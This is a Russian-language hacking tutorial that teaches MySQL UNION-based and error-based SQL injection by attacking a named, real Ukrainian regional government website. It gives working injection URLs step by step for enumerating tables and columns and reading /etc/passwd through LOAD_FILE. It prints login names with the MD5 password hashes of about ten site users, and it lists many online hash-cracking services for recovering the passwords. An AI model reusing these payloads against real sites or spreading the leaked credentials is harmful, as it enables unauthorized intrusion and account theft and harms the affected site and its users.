И так начнем: |#################################| |############Часть I##############| |#################################| |##########Что это такое?#########| Внедрение SQL-кода (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода. Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере. Атака типа внедрения SQL может быть возможна из-за некорректной обработки входящих данных, используемых в SQL- запросах. Разработчик прикладных программ, работающих с базами данных, должен знать о таких уязвимостях и принимать меры противодействия внедрению SQL. |$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$| |$$$$$$$$$$$$Часть II$$$$$$$$$$$$$| |$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$| |$$$$$$$$$$$Как?$$$$$$$$$$$$$$$$$$| Допустим ты нашел(нашла) уязвимый сайт: http://www.voladm.gov.ua/news.php?id=50901 Ставим перед id=50901 кавычку id=50901' Видем ошибку в mysql. select * from news where id=50901'' Что бы вытащить информацию нужно найти кол-во полей и определить какие из них читабельны. Делать будет будем с помощью конструкции "order by". http://www.voladm.gov.ua/news.php?id=50901+order+by+1+--+ Сайт загрузился нормально. Пробуем +order+by+10+--+ http://www.voladm.gov.ua/news.php?id=50901+order+by+10+--+ Полей больше чем 10. http://www.voladm.gov.ua/news.php?id=50901+order+by+15+--+ Видим ошибку. Это значит полей меньше чем 15. http://www.voladm.gov.ua/news.php?id=50901+order+by+14+--+ Ошибки нет значит полей 14. Узнаем читабельный поля с помощью конструкции union select Составляем такой запрос: http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14-- Выдим что поля 2,6,11 на вывод. Теперь нам надо узнать версию mysql. Делаться это так: http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14-- version() вставляем в читабеное поле. 5 версия. Это может быть 2,6 или 11. У каждего сайта по разному. Теперь узнаем user и database Так юзера и бд. Делаеться это просто: http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14-- http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,database(),3,4,5,6,7,8,9,10,11,12,13,14-- Но делать такой запрос неудобно.Тогда нас выручит конструкция concat_ws или group_concat http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,concat_ws(0x3a3a3a,user(),database(),version ()),3,4,5,6,7,8,9,10,11,12,13,14-- Вот и вся информация в одной строке: obladmin_2@localhost:::voladm_gov:::5.1.41 0x3a3a3a это три раза знак двоетичения в хексе ::: Теперь узнаем все таблицы. Чаще всего новички делают это так: http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14+from +information_schema.tables-- Но тут облом) Лишь одна таблица ,а пользоваться limit неудобно. Тогда нас выручит конструкция group_concat(). http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,group_concat(table_name+separator +0x3a),3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables-- Облом вас сново накрыл))))Но выход есть!!!Узнаем таблицы с помощью БД(voladm_gov) Поскольку на сайте magic_quotes=on то прийдеться хексировать. Но не бойтесь это не сложно. Идем на сайт x3k.ru и в раздел SQL Hex. Вставляем наше voladm_gov и получаем 0x766f6c61646d5f676f76 Дальше составляем такой запрос: http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,group_concat(table_name+separator +0x3a),3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables+where+table_schema=0x766f6c61646d5f676f76-- И получаем список таблиц: backdoor images info ip kat_text katalog kerivn konk links links_topics news news2 opros prava questions rozdil struct subrozdilu subtext test topics users zahodu zastypnuku zvern Как ты уже догадался(догадалась) нужная таблица users. Теперь достаем колонки из users. Хексируем users и делаем такой запрос: http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,group_concat(column_name+separator +0x3a),3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_name=0x7573657273-- Где 0x7573657273 - это users в хексе. Мы получили колонки users: id:login:pass:opus:type:id:login:pass:opus:type Ты тогадался что делать с этими данными??? Будем составлять такой запрос: http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,group_concat(concat_ws (0x3a3a3a,login,pass)+separator+0x0b),3,4,5,6,7,8,9,10,11,12,13,14+from+users+limit+0,20-- perun:::0ca90ff8d47e0a35ff3480326353e875 andrew:::dd1e6077a60d932f44a3da5e8d628edc mammoth:::e258e48161169a48880615b921acea33 qqaazz:::29b2c9d187b5c7514d8acbd69c55b88c bohdan_uvp:::0f843a45a4759a2a909baf9403759cc6 chernysh:::19f1b3ccd4fffc8e7b88e73d3e6de23b zoya:::e219321c84af4e20c05c61193f2ec832 Roma:::4cb3ab8dc96cc4bb7a5ccd4bb8b57199 kozak:::7b41f5de4da10713bf68c01fab6d4f3e igor_g:::5cd09222b030a2eff1c4b6671dbedf53 Вот у нас НЕ все хешы юзеров. Почему читай ниже. И еще мы проверм file_priv Делаеться это так: Хексируем obladmin_2 (это наш юзер user() ) и составляем запрос: http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,file_priv,3,4,5,6,7,8,9,10,11,12,13,14+from +mysql.user+where+user=0x6f626c61646d696e5f32-- Как видем file_priv=Y Теперь попробуем прочитать /etc/passwd Хексируем /etc/passwd, посколько magic_quotes=on и составляем запрос: http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,LOAD_FILE (0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12,13,14-- Получаем файл /etc/passwd Но они могут быть в другом месте. Советую почитать в интернете где находяться пароли в FreeBSD, Linux,SunOS,Windows. Да и еще нам прийдеться расшифровать md5 хешы. Для этого воспользуесть онлайн расшифровщиками. Вот их список: hashcracking.info - Анитичатовский astalavista.net - не фунциклирует (видимо временно) authsecu.com - мелкий bigtrapeze.com - вобще левый блог какой-то blacklight.gotdns.org - работает gdataonline.com - работает generuj.pl - работает hashchecker.com - работает, можно скачать очередь hashcrack.com - мелкий hashkiller.com - прикольный. есть форум. можно скачать очередь. есть сильные брутеры. ice.breaker.free.fr - мелкий insidepro.com - работает, форум, можно скачать очередь, сильные брутеры. md5.3mt3.pl - не работает. md5.hashcracking.com - мелкий md5.ip-domain.com.cn - мелкий md5.rednoize.com - зеркало предыдущего md5.thekaine.de - работает md5.xek.cc - недоступен md5.xpzone.de - требуется регистрация, хз что там за ней. md5crack.com - мелкий md5crack.it-helpnet.de - недоступен md5decrypter.com - работает md5decryption.com - работает, по-моему зеркало предыдущего. md5hood.com - мелкий md5live.com - не работает md5oogle.com - какая-то фигня, не имеющая отношения к хешкреку. md5pass.info - работает milw0rm.com - работает, можно скачать очередь passcracking.ru - работает. мощный сервис. passcracking.com - зеркало предыдущего. securitystats.com/tools/hashcrack.php - работает, слабый. tydal.nu - какой то левый галимый сайт. MD5 крека нет. plain-text.info - у них ломает хеши irc бот md5decrypter.co.uk - мощный сервис. можно скачать очередь. md5crack.ath.cx - работает, можно скачать очередь. md5pass.info - зеркало какого-то мелкого из первой группы cmd5.com - мертвый schwett.com/md5 - мелкий xmd5.org/index_en.htm - работает xmd5.cn - зеркало предыдущего md5this.com- работает, что-то любопытное. англ. tmto.org - работает victorov.su/md5 - работает. kerinci.net - работает. интересный. cryptohaze.com - работает, можно скачать очередь. стоит зайти. hash.db.hk - работает. hashbase.org - работает crackfor.me - полу-жив. можно скачать очередь. давно не работает функция "добавить пароль". md5-db.de - мелкий md5.drasen.net - мелкий md5.gromweb.com - работает. neofusion.de - мелкий md5.hamaney.net - мелкий md5cracker.org - мелкий thesoftwareengineer.org - МД5 крекер не работает. но есть интересная инфа по IT безопасности. агнл. md5.igrkio.info - работает. ститьи по IT seq. hashchecker.de - мелкий lmcrack.com - только LM хеши. ограничения. сакс. http://gdataonline.com/seekhash.php http://passcracking.ru http://milw0rm.com/md5/info.php http://us.md5.crysm.net http://www.plain-text.info http://www.securitystats.com/tools http://md5.rednoize.com http://md5crack.it-helpnet.de http://ivdb.org/search/md5 http://www.tmto.org http://www.xmd5.org/index_en.htm http://ice.breaker.free.fr http://md5.benramsey.com http://www.csthis.com/md5/index.php http://md5.geeks.li/ http://www.md5database.net/ http://www.md5decrypter.com/ http://www.hashreverse.com/ http://rainbowtables.net/services/results.php http://www.md5this.com/reverse.php http://www.cmd5.com/english.aspx http://www.md5encryption.com/ http://www.thepanicroom.org/index.php?view=cracker http://www.panpan.org/2006/md5asp/HOME.ASP http://www.bisix.tk/ http://www.md5hashes.com/ http://md5pass.info/ http://md5.fastpic.de/crack.php http://milw0rm.com/cracker/insert.php - ждать надо. http://www.hashchecker.com/?_sls=add_hash - 3 хеша в день. http://rainbowcrack.com - предлагают что-то качать. http://www.neeao.com/md5/ http://md5.mmkey.com/ http://www.hashchecker.com/index.php?_sls=search_hash http://webtools.xakepok.org/md5/ http://passcrack.spb.ru/ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@Часть III@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@Проблемы с MySQL Injection@@@@@ Бывает такие случаи когда при запросе +union+select+1,version(),2,3,4-- нам выводят всякие знаки. Это значит у них другая кодировка. Составляем запрос такого типа: http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,UNHEX(hex(version ())),3,4,5,6,7,8,9,10,11,12,13,14-- или http://www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,AES_DECRYPT(AES_ENCRYPT(version (),0x71),0x71),3,4,5,6,7,8,9,10,11,12,13,14-- но еще так: http://http://www.voladm.gov.ua/news.php?id=50901+or+substring+(version(),1,1)=5 Последнюю цыфру можно поменять на 3,4,5. Но если union select отсекаеться то делаем так: http://site.com/index.php?id=1+and+(select+1+from+(select+count(0),concat((select+version()),floor(rand(0) *2))+from+information_schema.tables+group+by+2+limit+1)a) $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$The end$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
|